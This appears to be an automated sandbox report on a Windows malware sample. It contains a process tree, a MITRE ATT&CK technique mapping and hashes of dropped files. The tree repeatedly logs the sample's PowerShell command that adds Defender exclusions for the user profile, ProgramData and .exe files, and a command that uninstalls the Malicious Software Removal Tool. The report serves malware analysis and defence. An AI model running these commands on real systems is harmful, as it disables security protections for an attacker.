"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:788

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2844

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
1⤵
PID:2872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4972

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:5900

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:5152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:2760

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:896

C:\Windows\System32\smartscreen.exe
C:\Windows\System32\smartscreen.exe -Embedding
1⤵
PID:1952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:2580

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2612

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6384

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6760

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:7156

C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe
C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:472
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:7124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:6660
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:6268
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:6640
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:6700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:7112
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6344
- - C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe
    "C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:3096
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:6540
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1092
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:6780
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6300
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:4868
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      PID:6648
  - - C:\Windows\system32\dialer.exe
      dialer.exe
      4⤵
      PID:5472
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:6724
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6328
- - C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe
    "C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:6544
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:5296
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:3084
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:420
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      PID:2040
  - - C:\Windows\system32\dialer.exe
      dialer.exe
      4⤵
      PID:4076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:6604
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2284
- - C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe
    "C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:2688
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:4760
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:3876
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6656
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:2952
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      PID:7140
  - - C:\Windows\system32\dialer.exe
      dialer.exe
      4⤵
      PID:4888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1940
- - C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe
    "C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe"
    3⤵
    PID:6128
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4560
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:6808
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:5728
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      PID:5944
  - - C:\Windows\system32\dialer.exe
      dialer.exe
      4⤵
      PID:7160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6584
- - C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe
    "C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe"
    3⤵
    PID:6156
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1564
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4076
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:6868
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:4520
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      PID:6340
  - - C:\Windows\system32\dialer.exe
      dialer.exe
      4⤵
      PID:7032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4176
- - C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe
    "C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe"
    3⤵
    PID:6768
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6696
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:6716
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:2244
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      PID:6548
  - - C:\Windows\system32\dialer.exe
      dialer.exe
      4⤵
      PID:6184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3588
- - C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe
    "C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe"
    3⤵
    PID:3328
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6992
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:6944
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:2368
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      PID:6628
  - - C:\Windows\system32\dialer.exe
      dialer.exe
      4⤵
      PID:1496
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  PID:6772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

CD1C116DEEE8F4F97C1806976E10E7E2B349E486

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\luq7t40t.default-release\cache2\entries\CD1C116DEEE8F4F97C1806976E10E7E2B349E486
Size 13KB
SHA256 51e07d7ec911ff864e38e05db81cc90ceb8206bc79526f7351d83e304c20a91b
MD5 6c64d6c50666ddd71c442be7464534e7
SHA1 1c060e24992940ab6191211cf87036b948edcccb
SHA512 414965eee6bb3b6fb05ccbecf87f13db3c5aa36f983a456dce76cfa7d9146ee1b9c0d202c809a7bdc9155539e42b93927147e8700e53c138d0afe14d58475e53
SSDEEP 384:HbaFrLiO024Y7Fuhw+5EL1pPsac4j0lpDII+9zk:7aAZY7FuK+5EB9sac4ID8LW
TLSH
T138527E7D9F0238BE1A6BD2D4D8E95705CE08D6BBEFE2D06605143844CA84378B8F60DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SppExtComObj.Exe

Path C:\Users\Admin\AppData\Local\Packages\SppExtComObj.Exe
Size 3.4MB
SHA256 897b5101cafb0a9104381e8cd260c932df8cc2162bd2d4f26ba968f4b70c63e8
MD5 20eef3d8647f48e17eb7f3804d836518
SHA1 fbe3a3f8d08c980ca36cf9f10ac9f72982d899dc
SHA512 8dc2e5f6568da07b03c7f793f7c70dfd7d48883d6fc473ab21931de02d41700f2d95c99a84047c1b144827573293fdd8d40b81219ce5a7d0605c6b7281f8f26a
SSDEEP 98304:J90zEmNW6ABeiCR3MBpTrJNpHfGYMZBCwLCta:X0rk6wwR3c3tH9MbCwLC4
TLSH
T12DF53300C54F7BFAEE5259B4F8DCC5814D4EC5089ED2D69F0A269B76AB43B1C820639F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6a2ae99b-21a3-4c78-b89e-4c2724e6e134.zip.tmp

Path C:\Users\Admin\AppData\Local\Temp\6a2ae99b-21a3-4c78-b89e-4c2724e6e134.zip.tmp
Size 3.7MB
SHA256 6ddb38f4cadbd00d53d011865c3a3ac6dbf616f512c500a976bf1a7367d94ab2
MD5 1666393e1522a42dd1d012902f030ab2
SHA1 11f28dcc58f7c1b07442958a388ff3415b4c7705
SHA512 63143c40b7cb5ed12362d6d322bd812b1ab237fda9c1a1b522499bab0c10d232ce3c5f0b69647564417de71f9afcbcc26a19ecdcccbc0b17a409ae000a65b9f5
SSDEEP 49152:7b7cg1gDFhHuL6ruDexkxUQ3P66rUzcYHeuftQ8/H0PDHBS9WKyT8XoSiXG1R5wB:7b7d60hxUQtUNZftQgH0FSET721R5H4
TLSH
T1AD06E035D69F1ACDC98F83FA810C3FC29B4F4F668050A96B6A6ED571DFB31A21B44844
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_1onpzdej.2fc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1onpzdej.2fc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

f.exe

Path C:\Users\Admin\AppData\Local\Temp\f.exe
Size 2.7MB
SHA256 03178333e6c5e08a20df6a6e3deef30a597ed18340bcbe43914e3d36c17bbfd9
MD5 9d947a4794f98c1f7c7038eb22cce291
SHA1 e6d450ca19790c0a0d490bb15c47f1ec79802104
SHA512 0b1a56eb9c01992a0a7cde855611d46559405b7d6346a517d1372e5df773448a86792e470e07fd4382c32ad3d56ff550763271776762888d62972fc863a4dcdc
SSDEEP 49152:JvC+/aWEG3CZAQ5DHWrtLf57HUrEvgaIvpoBfO0VVMNTCKxTkMiMZRWLfnN3Lbl:JvC+/a8QLmpHMTvpoBfZVeVYMZSdF
TLSH
T18AD5335D21C43FB9E9489A7A92841736922D3CF63EA0D543C8F01B4AE935BC54FBE2D4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 502KB
SHA256 87862f4bc8559fbe578389a9501dc01c4c585edb4bb03b238493327296d60171
MD5 e690f995973164fe425f76589b1be2d9
SHA1 e947c4dad203aab37a003194dddc7980c74fa712
SHA512 77991110c1d195616e936d27151d02e4d957be6c20a4f3b3511567868b5ddffc6abbfdc668d17672f5d681f12b20237c7905f9b0daaa6d71dcdac4b38f2448b2
SSDEEP 12288:OACaeJXLVL+PLlSuxcewdMCx1uSremBgBohJmiixAzph3yZeErb:OltBL+PLQFZBgBo2xAzpsrb
TLSH
T199B423CCB77B7628D37A9C7BC257D4F853E9CA2B56423CE80C4E018D6540AB136963E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 11KB
SHA256 ddf3ba4e25a622276755133e0cce5605b83719c7cab3546e09acbfed00d6a986
MD5 25e8156b7f7ca8dad999ee2b93a32b71
SHA1 db587e9e9559b433cee57435cb97a83963659430
SHA512 1211b2fa997ba13ff926aec58b6b35a81d7fe108b0caa8f4d6369d0a37f8481373b78a4b201651243adde9e2b2699ce929482a46226ff6299b0a0e40fe2ddc56
SSDEEP 192:96jbMOTaRNUB3K7L7KqRUGcW9KK+DOO4L5h3tCw0RZvjUFV3bXFwo10+H99uhNA:kjbMegNp7L7KCopFDUtCZvjU73zqFiu0
TLSH
T12A32AFAB081F8454EFA710F628B670CFA1BA95B4067C2B1E9B1819855809BD0C5D2EDD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\datareporting\glean\db\data.safe.tmp
Size 49KB
SHA256 084b2531f11514ddf88c7239eaac895e6a99e2dfc872d16c1598700e6b606d85
MD5 a4fd106409b3febfe822eb1a23b5ccb0
SHA1 d7ce1f12b18e799db5e6179a1cd080a64ffaf7d0
SHA512 4c9851fcd37c734c1ff24682b8a52d2f213bf487ee66c6576458df6f243f686070041b74489d143b28c1bcadf8399caf2c62ed24dfce0509f8f3a52f19e1b22f
SSDEEP 768:++Sayfb0Zj56GcmhuiAKDutBh5Em8/gYkbSb8bZbDbab1bjbGbvb4lgiYnxon6kM:++Sayfb0ZGelgiYniv6cXm
TLSH
T13633E044EB1E953FD42402BADCA61B002F79F889595A2FA7375C64782C872DC3D9E07E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 7005bce8944d41d5994dcf31ae466b5074cf26cc9f7d65d10e3e218852cc6109
MD5 3798b8b69b3e2e62c32d4858699cdec7
SHA1 4aa365ee70598e45287a820d14f21da6c4625217
SHA512 eed9ec50ee66d59237249c33f494396a2a2b18135861abf1bdc4073a8c310dd34886bde84d669787c5cae799a80caff32fdaf0652e9ea990d932089c7b501d98
SSDEEP 192:g1d66Joz1zgCl6mc0d2UvOv5zboBZmQCIyjfnI:ad66Joz1zgC1jQUAboBZm/IyjfI
TLSH
T11AD1EF68F629463FC458023BDCB65B800F36788A985F7F25329C644D2D572CE7A8E17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

events

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\datareporting\glean\events\events
Size 1KB
SHA256 0e844c66c1230ab5e413cd78d923b1e68523f71b6034613d88a7614a230dd997
MD5 bf0d6d42ce897fc972d934f404007cfd
SHA1 8306b3886f3ee235754e7d00b2eef85eecca9364
SHA512 5443a240318bd44eed3a5252644ae5211829fc705a135fa4cd58a57afa6acc2178c3621a31cbef7af7c5acfbf0995f5101bae281a509e7760396f4d7c40a004a
TLSH
T14B21784C3BB94D2A6C9BE29D7480038E53D04A0B048B5D6B8E82DE8DCDA5BD9716A438
MD5 SHA1 SHA512 TLSH

Submit Download

07e296fc-ffa5-4bbd-b245-0e5a6f15ffb3

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\datareporting\glean\pending_pings\07e296fc-ffa5-4bbd-b245-0e5a6f15ffb3
Size 2KB
SHA256 0a713ca8fb56558b56f203c890b057eda9c22a28e76c51a657751bce6570251e
MD5 afe74891815e0efb33489d1f86bd3e02
SHA1 471f49e7282a18855cef4d4ddff9bb10a1336d62
SHA512 93cc1f90032f0fff3b964388ddb7c4891a36a51861168ca3e1f7e0302a4744a253d0aa5d352b77e9be43a47cff601ed1fc64ca8d38d248ad6dea62fb07f21293
TLSH
T1835196655160C8BEC979A31ADC213B828BF3540A409B184EAFECAF0A117FD0E9359605
MD5 SHA1 SHA512 TLSH

Submit Download

5e667104-8e44-4d8e-93d6-aa2070852ffb

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\datareporting\glean\pending_pings\5e667104-8e44-4d8e-93d6-aa2070852ffb
Size 235B
SHA256 7d22a15eefae64c6a7e1125c522cf7cc910e233b60bd41f997d31cb7e6ce56aa
MD5 5aa47023d8afaf2e1afbd7bd4221e51d
SHA1 8dc3aae6e8d375710b6459f648c1d5d304ef65de
SHA512 2cd75cafec63adb43499be468d40460c5715f67db20fe3be668807cea9851f7b90449511c26a98ecd197f381101b34a781c5ac7662680d08c1c77f863a6995c5
TLSH
T165D0978418E8276C0C140F16F4E079DA30484C3324B0A820D9A0083899BD9CA8222C27
MD5 SHA1 SHA512 TLSH

Submit Download

7cea54e5-a6ed-463e-b879-576c95b54c06

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\datareporting\glean\pending_pings\7cea54e5-a6ed-463e-b879-576c95b54c06
Size 886B
SHA256 fae2e0cf9dff9bf02a22acf42b14cf5a4fa7b2bf0765eeca80931e66ef3d1943
MD5 a158039d8b9563f4778d63798f25e408
SHA1 02e98c0cb62ad433b138e16ab66186972aad390e
SHA512 f61dd4257dde46b372282703024e012963811f14a2c990b0bb17bc159f937fb4f16eaa7e9cc4da96314472d6a95df97dc20cbec04ce48c336b279be340d2e3a1
TLSH
T11E1140404670B9F2CC78A29B95A1BB8347E8B023C0C79800BFA00F080DAA10E53B7207
MD5 SHA1 SHA512 TLSH

Submit Download

c0bfcd65-8a7a-4772-8bb5-927eead0a5ef

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\datareporting\glean\pending_pings\c0bfcd65-8a7a-4772-8bb5-927eead0a5ef
Size 235B
SHA256 451580f9218247696ec82c7da50bc80bacffc7647bb8a4e0656d766e2254a7f0
MD5 4fc6f7da23c94ed1d915b240d6efa691
SHA1 05a30c53e9cd8b900da2f909927fbdf06e11c2fe
SHA512 64d3a1f54df7a5df49fad1b47df6bdd9ae04b773ab63c728757941d8b1a6a41f4f83736bcc56bde7ebef5624a4fc6e98d2da54c77d1e3b69c9647900ef87ce4b
TLSH
T1F9D0A7C51498B76D48144F0AF0A07DD670884C3368A96C61A7924678EAFDDC54162956
MD5 SHA1 SHA512 TLSH

Submit Download

e3fcdb50-c5ed-4d31-91c3-71d77d95e9a9

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\datareporting\glean\pending_pings\e3fcdb50-c5ed-4d31-91c3-71d77d95e9a9
Size 883B
SHA256 d2e2150a12ee9ca3d39b3f0e19980fda9a625308df29861242a3d86a5e251da7
MD5 b68fadf5127ae331b385c257f451ab06
SHA1 870ce5356424fee1f2cb55027e2de5e7e5447987
SHA512 36256668a432b9beae4c13f8bed32ba84525ba1fee887ad9b5ed56d96950d3ebda1e16bfe8ceb04add3f6c5fcf3e04362fc9f4b90d9603889b8c25cc68c2ea29
TLSH
T124110490A63578B2CD78925BC995775247E9B02780C794103FE01E080D7D51E97E661B
MD5 SHA1 SHA512 TLSH

Submit Download

f38c7cca-4dc3-44f8-83a1-571dff20c1bb

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\datareporting\glean\pending_pings\f38c7cca-4dc3-44f8-83a1-571dff20c1bb
Size 2KB
SHA256 bd1879eaf6ef6fc3dae289473e945900c3b26d9b1607d700fb7e38334bdebcd2
MD5 f3d1d21d24721b793d920af256e2e88b
SHA1 88cebf4dc74f2ca8e9395b14ba96ffdfefe1c2a2
SHA512 6a136f39e48b931c8f9d5b12f4eb2fb1cafb0ba0f19de9ed1ecc357f433189042eb82da25d729647debe60f36048acc2775bc487e4ac4e9f148c669e8261b61a
TLSH
T18641215C3A784CBB8DCAE15D948233CE53E0892604C65C436F91EE0C8D967DE736E52B
MD5 SHA1 SHA512 TLSH

Submit Download

extensions.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\extensions.json
Size 16KB
SHA256 7ff38cf8d15a853e4070b65e1186c956cb9ea2cac5622738dc30ca93a16a6ce1
MD5 808506449405cdc6651d96bffc5ca481
SHA1 57dafda046407fd63afbe0ae6efbce1f59124f42
SHA512 6c4037ac6b1b8bd66857f238781be68683897cf5d69870cfba4295b6c8a53f457a074b36fab38d555a3f9a07fa2026c58ca5b0fb7e08a03df409201b97e3e280
SSDEEP 384:ikI4vzUmldvW8dhW294zH96o1CL4He4L4PHL4HSL4HQWL4HDW4hB:VI4bRfbX/4x6B4/4D4A4wc4a4j
TLSH
T1A572431545048EB8294F979AAA367E02C37D573B60845C78F4DD8FC802FB5B902FB65B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.dll
Size 1.1MB
SHA256 37c005a7789747b412d6c0a6a4c30d15732da3d857b4f94b744be1a67231b651
MD5 626073e8dcf656ac4130e3283c51cbba
SHA1 7e3197e5792e34a67bfef9727ce1dd7dc151284c
SHA512 eebdeef5e47aeadfeebdbab8625f4ec91e15c4c4e4db4be91ea41be4a3da1e1afeed305f6470e5d6b2a31c41cbfb5548b35a15fccd7896d3fde7cdf402d7a339
SSDEEP 24576:qSPda8zU7qNBLR+R1Uq6S/gCfTuP4PIKth58yS0fDrx1:xfeqNBR+cq6S+4QKtkyS0fv
TLSH
T159458D0AF2A641F8D41ED470966EA722FA79344C173568EF169587202F77BC0AB3EF14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.info

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.info
Size 116B
